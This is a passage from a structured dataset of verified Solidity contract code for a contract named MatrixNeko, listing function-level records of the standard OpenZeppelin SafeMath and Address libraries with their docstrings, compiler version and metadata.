return div(a, b, "SafeMath: division by zero");
}
|
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
2817,
2966
]
}
| 55,530 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
SafeMath
|
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
div
|
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
|
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
3494,
3801
]
}
| 55,531 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
SafeMath
|
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
mod
|
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
|
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
4298,
4445
]
}
| 55,532 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
SafeMath
|
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
mod
|
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
|
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
4962,
5149
]
}
| 55,533 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
Address
|
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
|
isContract
|
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
|
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
658,
1322
]
}
| 55,534 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
Address
|
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
|
functionCall
|
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
|
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
3111,
3299
]
}
| 55,535 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
Address
|
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
|
functionCall
|
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
|
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
|
NatSpecMultiLine
|
v0.6.12+commit.27d51765
|
Unlicense
|
ipfs://a902f4e4cfe3beffeab3403fdcf21d5b0030299b3a6cbf16a72208ae273ac674
|
{
"func_code_index": [
3543,
3756
]
}
| 55,536 |
||
MatrixNeko
|
MatrixNeko.sol
|
0x94ff336d0b0257170b9c1e5df90c94b9a64d2a14
|
Solidity
|
Address
|
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
